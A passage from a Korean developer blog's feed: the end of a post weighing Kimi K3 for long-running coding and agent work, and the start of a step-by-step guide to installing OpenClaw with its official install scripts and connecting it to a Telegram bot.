&lt;li&gt;SQL 작성&lt;/li&gt;
&lt;li&gt;정규식 설명&lt;/li&gt;
&lt;li&gt;짧은 리팩터링&lt;/li&gt;
&lt;li&gt;에러 메시지 해석&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;반면 장기 에이전트형 모델은 이런 일을 목표로 합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;저장소 전체 구조 파악&lt;/li&gt;
&lt;li&gt;여러 파일에 걸친 수정 계획 수립&lt;/li&gt;
&lt;li&gt;테스트 실행 후 실패 원인 추적&lt;/li&gt;
&lt;li&gt;문서와 코드의 불일치 정리&lt;/li&gt;
&lt;li&gt;화면 캡처를 보고 프론트엔드 수정&lt;/li&gt;
&lt;li&gt;리서치 자료를 읽고 기술 검토 문서 작성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kimi K3가 정말 이 일을 안정적으로 잘하는지는 실사용 검증이 더 필요합니다. 다만 모델이 겨냥하는 방향은 분명히 이쪽입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;개발자가 봐야 할 핵심 포인트&lt;/h2&gt;
&lt;p&gt;저는 Kimi K3를 볼 때 네 가지를 봐야 한다고 생각합니다.&lt;/p&gt;
&lt;h3&gt;1. 100만 토큰 컨텍스트가 실제로 유용한가&lt;/h3&gt;
&lt;p&gt;100만 토큰은 숫자로는 큽니다. 하지만 긴 컨텍스트가 항상 좋은 결과를 만든다는 뜻은 아닙니다.&lt;/p&gt;
&lt;p&gt;긴 문서를 많이 넣을 수 있어도, 모델이 그 안에서 중요한 내용을 잘 찾고, 작업 중간에 판단을 유지하고, 오래된 정보를 잘 버리는지는 별도 문제입니다.&lt;/p&gt;
&lt;p&gt;개발자 입장에서는 이런 테스트가 필요합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;큰 README와 설계 문서를 넣었을 때 요약이 정확한가&lt;/li&gt;
&lt;li&gt;여러 패키지의 의존 관계를 잘 따라가는가&lt;/li&gt;
&lt;li&gt;오래된 코드와 최신 코드의 차이를 구분하는가&lt;/li&gt;
&lt;li&gt;긴 대화 중간에 요구사항을 잊지 않는가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;컨텍스트 창은 책상 크기와 비슷합니다. 책상이 넓다고 일을 잘하는 것은 아닙니다. 하지만 제대로 정리해서 쓸 수 있다면 확실히 유리합니다.&lt;/p&gt;
&lt;h3&gt;2. 코딩 모델로 쓸 수 있는가&lt;/h3&gt;
&lt;p&gt;Kimi K3는 코딩 성능을 강하게 내세우고 있습니다.&lt;/p&gt;
&lt;p&gt;여기서 중요한 건 &quot;코드를 잘 짜느냐&quot;보다 &lt;strong&gt;개발 워크플로우 안에 들어올 수 있느냐&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;예를 들면 이런 부분입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;터미널 명령 실행을 잘 계획하는가&lt;/li&gt;
&lt;li&gt;테스트 실패를 보고 원인을 좁혀가는가&lt;/li&gt;
&lt;li&gt;수정 범위를 과하게 넓히지 않는가&lt;/li&gt;
&lt;li&gt;기존 코드 스타일을 따라가는가&lt;/li&gt;
&lt;li&gt;애매한 요구사항에서 멈추고 질문할 줄 아는가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;코딩 AI를 오래 써보면, 성능보다 중요한 게 있습니다. &lt;strong&gt;작업 태도&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;조금 덜 똑똑해도 범위를 지키는 모델이 실무에서는 더 편할 때가 많습니다. 반대로 성능은 좋아도 마음대로 파일을 많이 고치면 검토 비용이 확 늘어납니다.&lt;/p&gt;
&lt;h3&gt;3. 오픈 웨이트의 의미&lt;/h3&gt;
&lt;p&gt;오픈 웨이트 모델은 개발자에게 꽤 중요한 선택지를 줍니다.&lt;/p&gt;
&lt;p&gt;외부 API를 쓰면 편합니다. 대신 데이터가 어디로 가는지, 비용이 어떻게 늘어나는지, 장애가 났을 때 어떻게 대응할지 고민해야 합니다.&lt;/p&gt;
&lt;p&gt;반대로 오픈 웨이트 모델은 직접 운영하거나, 내부 환경에 맞게 배포할 여지가 있습니다. 물론 큰 모델은 인프라 비용이 만만치 않습니다. Kimi K3처럼 큰 모델은 개인 PC에서 가볍게 돌리는 모델과는 거리가 있습니다.&lt;/p&gt;
&lt;p&gt;그래도 방향은 중요합니다.&lt;/p&gt;
&lt;p&gt;앞으로 회사들은 이런 질문을 더 자주 하게 될 겁니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;민감한 코드를 외부 AI API에 보내도 되는가&lt;/li&gt;
&lt;li&gt;내부 문서를 학습이나 추론에 어떻게 사용할 것인가&lt;/li&gt;
&lt;li&gt;모델을 직접 운영할 비용과 API 비용 중 무엇이 나은가&lt;/li&gt;
&lt;li&gt;특정 벤더에 종속되지 않으려면 구조를 어떻게 잡아야 하는가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kimi K3는 이 질문을 다시 꺼내게 만드는 모델입니다.&lt;/p&gt;
&lt;h3&gt;4. 한계도 같이 봐야 한다&lt;/h3&gt;
&lt;p&gt;Kimi K3 공식 문서에는 제한 사항도 적혀 있습니다.&lt;/p&gt;
&lt;p&gt;특히 눈에 들어오는 부분은 모델이 장기 작업에 맞춰 훈련되면서 &lt;strong&gt;과하게 적극적으로 행동할 수 있다&lt;/strong&gt;는 점입니다. 애매한 상황에서 사용자의 의도를 넘겨짚고 결정할 수 있다는 뜻입니다.&lt;/p&gt;
&lt;p&gt;이건 개발 작업에서 꽤 중요합니다.&lt;/p&gt;
&lt;p&gt;AI가 코드를 조금 틀리게 작성하는 건 고치면 됩니다. 그런데 파일 구조를 마음대로 바꾸거나, 배포 설정을 건드리거나, 요구하지 않은 리팩터링을 시작하면 일이 커집니다.&lt;/p&gt;
&lt;p&gt;그래서 이런 모델을 쓸 때는 지시를 더 구체적으로 줘야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;이 작업에서는 src/components 안의 파일만 수정하세요.
테스트 코드는 변경하지 마세요.
불확실한 부분이 있으면 수정하지 말고 질문하세요.
기존 API 시그니처는 유지하세요.
작업이 끝나면 변경 파일과 이유를 요약하세요.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;모델이 강해질수록 프롬프트도 더 대충 써도 되는 게 아닙니다. 오히려 권한과 경계를 더 잘 정해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;당장 써야 할까?&lt;/h2&gt;
&lt;p&gt;개인 개발자라면 한 번 테스트해볼 만합니다.&lt;/p&gt;
&lt;p&gt;특히 다음 작업에는 잘 맞을 가능성이 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;긴 문서 요약&lt;/li&gt;
&lt;li&gt;코드베이스 구조 파악&lt;/li&gt;
&lt;li&gt;프론트엔드 화면 수정&lt;/li&gt;
&lt;li&gt;리서치 자료 정리&lt;/li&gt;
&lt;li&gt;기술 비교표 작성&lt;/li&gt;
&lt;li&gt;오래 걸리는 개발 작업 계획 세우기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;반대로 이런 작업에는 조심하는 게 좋습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;운영 서버 설정 변경&lt;/li&gt;
&lt;li&gt;보안 관련 코드 수정&lt;/li&gt;
&lt;li&gt;결제, 인증, 권한 로직 수정&lt;/li&gt;
&lt;li&gt;회사 내부 민감 문서 처리&lt;/li&gt;
&lt;li&gt;대규모 자동 리팩터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;처음부터 중요한 작업에 바로 붙이기보다는, 샘플 저장소나 개인 프로젝트에서 습관을 보는 게 좋습니다.&lt;/p&gt;
&lt;p&gt;저라면 이렇게 테스트할 것 같습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;작은 프론트엔드 프로젝트 하나를 던져봅니다.&lt;/li&gt;
&lt;li&gt;README를 작성하게 합니다.&lt;/li&gt;
&lt;li&gt;버그 하나를 심어두고 찾아보게 합니다.&lt;/li&gt;
&lt;li&gt;테스트 실패를 고치게 합니다.&lt;/li&gt;
&lt;li&gt;마지막으로 변경 범위를 얼마나 지켰는지 봅니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;성능보다 먼저 볼 것은 &lt;strong&gt;말을 잘 듣는지&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Kimi K3가 던지는 질문&lt;/h2&gt;
&lt;p&gt;Kimi K3 자체가 앞으로 모든 것을 바꾼다고 보기는 어렵습니다. AI 모델 소식은 늘 빠르게 뜨고, 빠르게 식습니다.&lt;/p&gt;
&lt;p&gt;그래도 이번 모델이 던지는 질문은 가볍지 않습니다.&lt;/p&gt;
&lt;p&gt;첫째, 오픈 모델은 계속 커지고 있습니다.&lt;/p&gt;
&lt;p&gt;둘째, 코딩 AI는 단순 코드 생성에서 장기 에이전트 작업으로 이동하고 있습니다.&lt;/p&gt;
&lt;p&gt;셋째, 개발자는 특정 AI 서비스 하나만 보는 게 아니라 모델 선택권까지 고민해야 하는 시점으로 가고 있습니다.&lt;/p&gt;
&lt;p&gt;예전에는 &quot;ChatGPT를 쓸까, Claude를 쓸까&quot; 정도의 선택이었습니다. 이제는 질문이 조금 달라졌습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;내 개발 워크플로우는 모델을 바꿔 끼울 수 있는 구조인가?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 질문이 중요해질 겁니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;Kimi K3는 조회수용으로만 보면 &quot;중국판 DeepSeek가 다시 왔다&quot;는 제목을 붙이기 좋은 모델입니다.&lt;/p&gt;
&lt;p&gt;하지만 개발자 관점에서는 조금 더 차분하게 봐야 합니다.&lt;/p&gt;
&lt;p&gt;Kimi K3의 핵심은 다음 세 가지입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2.8조 파라미터 규모의 대형 오픈 모델&lt;/li&gt;
&lt;li&gt;100만 토큰 컨텍스트 기반의 장기 작업 지향&lt;/li&gt;
&lt;li&gt;코딩, 지식 업무, 멀티모달 에이전트 작업 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;당장 모든 개발자가 갈아탈 모델이라고 보기는 어렵습니다. 아직 실사용 검증도 필요하고, 라이선스와 배포 방식, 비용, 보안 정책도 확인해야 합니다.&lt;/p&gt;
&lt;p&gt;다만 한 가지는 분명합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;오픈 AI 모델 경쟁은 이제 주변부 이야기가 아닙니다.&lt;/strong&gt;&lt;br&gt;
Kimi K3는 그 흐름이 꽤 멀리 왔다는 걸 보여주는 사례입니다.&lt;/p&gt;
&lt;p&gt;개발자라면 한 번쯤 체크해둘 만합니다.&lt;br&gt;
특히 AI 코딩 도구를 자주 쓰는 분이라면, 앞으로 Kimi K3 같은 모델이 어떤 방식으로 도구 안에 들어오는지 지켜볼 필요가 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kimi.com/blog/kimi-k3&quot;&gt;Moonshot AI - Kimi K3 Tech Blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.moonshot.ai/&quot;&gt;Moonshot AI 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://apnews.com/article/kimi-k3-china-ai-0d8a5e268deb11a673f4d444fc597cc5&quot;&gt;AP News - Chinese AI model takes US tech industry by surprise&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[OpenClaw 설치부터 텔레그램 연결까지 — 30분 실전 셋업 가이드]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "OpenClaw가 뭔지는 알겠는데... 그래서 이거 어떻게 깔아요?" 지난 편에서 OpenClaw가 뭔지, 왜 5개월 만에 GitHub…]]></description><link>https://blog.javapark.kr/openclaw-install/</link><guid isPermaLink="false">https://blog.javapark.kr/openclaw-install/</guid><pubDate>Sun, 19 Jul 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/7c21e1e23c5453f4a2281a7c356a5154/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7UlEQVR42o2Sy27TQBSGZ4MEau3xfew4iZ347sTYsRunudQJcVqatEogiURuqgpCXRXxAlRsACEQElIlNmXDS/B8TEiEWsEC6dOs5ptzzvwHQMH5D1xG9EW5rqpHtj7xrJVvn5WtBYC8BTkTnyRvQwy+itwtt2RWDNayspGXD9fyHFByQOX3oBwwgk0LNmQNitF2KO0+1AjO/uOTvMuJYTafFIt9S39iG2NLfwqIaESGQyI4Zb1DymjuFPcfeH016lfrx5IaEpyFyxaDw2ZvYvndnNHI6U3FTBSzragpyFx8R4vPaP5JOL9Gyy+52Xv+1U3/8t3V1YdS2MP1GamkB52wdbp3MDT9rmK1svgJo4HkGLx+/nMxvpmcfF2Nvj0bXF+e/3jz9uNo+uIeUdg0TImubXXcSs/fP1bdlqzXMlqMYSUf5KMF7zzm7J7kDjJmT1QaTMbjZZ9Cpd+j2ljWyp1qMorbI62cZPRY0qoYCrlAaK9QshRqYz46EbwUyh7Br53tV/EOjdx8uelEqROmWbMmFqINEDmATi/oRy+peEo6KSzUoVyBYul2yCSGs3YZY5c11rniRLY4gGjMifqMrE5Jf0DqBzBbgaj095LgJqk7ya8BdHJGt1ZMY8ZFQ87tUrnwX/IdaKnMyj7eol9wEWoUBHfUxAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/7c21e1e23c5453f4a2281a7c356a5154/a1b3b/thumbnail.webp 215w,
/static/7c21e1e23c5453f4a2281a7c356a5154/fc700/thumbnail.webp 430w,
/static/7c21e1e23c5453f4a2281a7c356a5154/521f7/thumbnail.webp 860w,
/static/7c21e1e23c5453f4a2281a7c356a5154/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/7c21e1e23c5453f4a2281a7c356a5154/f7886/thumbnail.png 215w,
/static/7c21e1e23c5453f4a2281a7c356a5154/bc750/thumbnail.png 430w,
/static/7c21e1e23c5453f4a2281a7c356a5154/3e3fe/thumbnail.png 860w,
/static/7c21e1e23c5453f4a2281a7c356a5154/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/7c21e1e23c5453f4a2281a7c356a5154/3e3fe/thumbnail.png&apos; alt=&apos;OpenClaw 설치 가이드 — npm 설치, onboard, Gateway 데몬, 텔레그램 봇 연결 4단계 실전 셋업 커버&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;OpenClaw 설치 가이드 — npm 설치, onboard, Gateway 데몬, 텔레그램 봇 연결 4단계 실전 셋업 커버&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;OpenClaw가 뭔지는 알겠는데... 그래서 이거 어떻게 깔아요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난 편에서 &lt;a href=&quot;/openclaw/&quot;&gt;OpenClaw가 뭔지, 왜 5개월 만에 GitHub 최다 스타가 됐는지&lt;/a&gt;를 정리했더니 딱 이 질문이 돌아왔습니다. 소개만 보면 근사한데, 막상 설치하려면 데몬이니 Gateway니 낯선 단어부터 막히죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;설치 자체는 명령 몇 줄이면 끝납니다.&lt;/strong&gt; 진짜 핵심은 (1) 공식 출처에서 받고, (2) &lt;code class=&quot;language-text&quot;&gt;onboard&lt;/code&gt; 마법사로 두뇌(LLM)를 연결하고, (3) 메신저 하나를 페어링하는 흐름입니다. 이 글에서는 &lt;strong&gt;텔레그램 봇으로 실제 대화가 오갈 때까지&lt;/strong&gt;를 4단계로, 순서대로 따라 하실 수 있게 정리했습니다. 넉넉잡아 30분이면 됩니다.&lt;/p&gt;
&lt;p&gt;이 글은 &lt;strong&gt;OpenClaw 파헤치기&lt;/strong&gt; 시리즈의 두 번째, &lt;strong&gt;설치·연결 실전편&lt;/strong&gt;입니다. OpenClaw가 처음이라면 &lt;a href=&quot;/openclaw/&quot;&gt;소개 편&lt;/a&gt;을 먼저 읽고 오시길 권합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;전체 그림 — 4단계 셋업 흐름&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/2ec44e5a8d2e3c672f7709436afa6791/64756/diagram-flow.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEUlEQVR42j1SaW/TQBD1d1SOJj7WXt/Hem2v7ThxHNtZ544CLUlb2lJARQKExA9A/H7GQUJ6Gs2HefNm3oww0NhAS0U9k8xCtsdnTBR3irxK9WeqX2mkxmFjUm5Hay8+UHbL0o9p+jlhj8ILhV2o2YXCXsrxK5QM9Fwxc9nKJWukeCUOaj1sDNoC2aIrLzqEyQ1jjyn7FCcPwv2PP6dvv6+ffu1PX6/uvxf8iJonnz+PFz/Z5E4LKoPOgayT1iCdHW4DehVGtzT6QOiNYCedk3AHIlu4rDMjrtLOSFY229jxEkeNEbU6bTBpcNBahFvh2gl3Tri3/Z2A850c1KJbym4p2mOav3UTrvqlRioc1l69g4jJTCMzWCEvuN53afSg1exWSPkxKA/OaGPna0SaojtOV3fBaONmS5h20p1IsfWylRVzzZ8V/AS5m65MOpeMiYCiTqUchXMFjKVzjbY44sibIr8Cq8BnHQpIg9wSAAnUKP5MssdDnAtyvpfTrRQtJNJq8QLIQJOsAkphTxW69CgVt1ScCaymeNXQyId6dqmlgrR8lrsvqH3Qyvc42xrJwoi4Ec1Btr+zVyF32tOssWiORCMf4HSoQ8xeo0QQy5NUHuXiHUq3vXLYqkH/Gz0NNOFbnLOm3QMm6lv0KHrlN0p8qSbwZ0OcwTySOQIRqO439KZg0v8/MUK4do3Prf9Z8BcBoXDHJ6aQhAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/2ec44e5a8d2e3c672f7709436afa6791/a1b3b/diagram-flow.webp 215w,
/static/2ec44e5a8d2e3c672f7709436afa6791/fc700/diagram-flow.webp 430w,
/static/2ec44e5a8d2e3c672f7709436afa6791/521f7/diagram-flow.webp 860w,
/static/2ec44e5a8d2e3c672f7709436afa6791/cbd37/diagram-flow.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/2ec44e5a8d2e3c672f7709436afa6791/f7886/diagram-flow.png 215w,
/static/2ec44e5a8d2e3c672f7709436afa6791/bc750/diagram-flow.png 430w,
/static/2ec44e5a8d2e3c672f7709436afa6791/3e3fe/diagram-flow.png 860w,
/static/2ec44e5a8d2e3c672f7709436afa6791/64756/diagram-flow.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/2ec44e5a8d2e3c672f7709436afa6791/3e3fe/diagram-flow.png&apos; alt=&apos;OpenClaw 설치 4단계 흐름 — 설치, onboard로 LLM 연결, Gateway 데몬 상태 확인, 텔레그램 봇 페어링&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;OpenClaw 설치 4단계 흐름 — 설치, onboard로 LLM 연결, Gateway 데몬 상태 확인, 텔레그램 봇 페어링&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;하는 일&lt;/th&gt;
&lt;th&gt;핵심 명령&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0. 준비&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Node 24.15+ 설치, LLM API 키 확보&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;node -v&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1. 설치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;공식 스크립트로 OpenClaw 설치&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;install.sh&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;install.ps1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2. onboard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;두뇌(LLM) 연결 + Gateway 데몬 등록&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;openclaw onboard --install-daemon&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3. 확인&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gateway가 떠 있는지, Control UI 접속&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;openclaw gateway status&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4. 연결&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;텔레그램 봇 토큰 발급 → 페어링 승인&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;openclaw pairing approve telegram &amp;lt;CODE&gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;한 문장으로 요약하면 — &lt;strong&gt;깔고(1), 두뇌 붙이고(2), 살아있나 확인하고(3), 메신저 연결(4)&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0단계: 설치 전 체크리스트&lt;/h2&gt;
&lt;p&gt;본격적으로 깔기 전에 딱 세 가지만 확인하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;① Node.js 버전&lt;/strong&gt; — OpenClaw는 최신 Node를 요구합니다. 권장은 &lt;strong&gt;Node 24.15+&lt;/strong&gt; 이고, 22.22.3+ 또는 25.9+ 도 동작합니다. 터미널에서 확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# v24.15.0 처럼 나오면 OK. 낮으면 nvm/fnm 등으로 업그레이드&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;② LLM 연결 수단 (API 키 또는 구독)&lt;/strong&gt; — OpenClaw는 두뇌가 없습니다. Claude·GPT 같은 외부 LLM을 손발처럼 부리는 껍데기죠. 그래서 두뇌를 연결할 인증 수단이 하나 필요한데, &lt;strong&gt;방법은 두 가지&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API 키&lt;/strong&gt; — Anthropic·OpenAI 등에서 발급한 키를 넣는 방식. 쓴 만큼 종량제로 과금됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;구독 계정 로그인&lt;/strong&gt; — 이미 &lt;strong&gt;Claude Pro/Max&lt;/strong&gt;나 &lt;strong&gt;ChatGPT Plus/Pro&lt;/strong&gt; 같은 월 구독을 쓰고 있다면, 별도 API 키 없이 그 &lt;strong&gt;구독 계정으로 로그인해 연결&lt;/strong&gt;할 수 있습니다. 매달 정액만 내고 쓰는 분에게 유리하죠.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;어느 쪽이든 사용량·약관은 해당 서비스 정책을 따릅니다. 구독 로그인은 구독 플랜의 사용 한도(rate limit) 안에서 동작하고, API 키는 쓴 만큼 청구됩니다. 가볍게 감을 잡을 땐 &lt;strong&gt;이미 있는 구독으로 시작&lt;/strong&gt;하고, 자동화를 많이 돌릴 계획이면 API 키 종량제를 저울질해 보세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;③ 공식 출처 재확인&lt;/strong&gt; — 지난 편에서 강조했듯, OpenClaw는 &lt;strong&gt;사칭·타이포스쿼트 배포가 특히 많은 프로젝트&lt;/strong&gt;입니다. 설치 주소는 아래 두 곳만 신뢰하세요. 한 글자씩 확인하는 습관이 최고의 보안입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;공식 사이트: &lt;a href=&quot;https://openclaw.ai/&quot;&gt;openclaw.ai&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;공식 레포: &lt;a href=&quot;https://github.com/openclaw/openclaw&quot;&gt;github.com/openclaw/openclaw&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;보안 배경(가짜 npm 패키지, 악성 복제 레포, 공급망 공격)이 왜 이렇게 심각한지는 &lt;a href=&quot;/openclaw/&quot;&gt;소개 편의 보안 섹션&lt;/a&gt;에서 자세히 다뤘습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;1단계: OpenClaw 설치하기&lt;/h2&gt;
&lt;p&gt;공식 권장 방식은 &lt;strong&gt;설치 스크립트&lt;/strong&gt; 한 줄입니다. OS에 맞춰 고르세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;macOS / Linux&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-fsSL&lt;/span&gt; https://openclaw.ai/install.sh &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Windows (PowerShell)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;powershell&quot;&gt;&lt;pre class=&quot;language-powershell&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;token function&quot;&gt;iwr&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;useb https:&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;openclaw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ai/install&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ps1 &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span 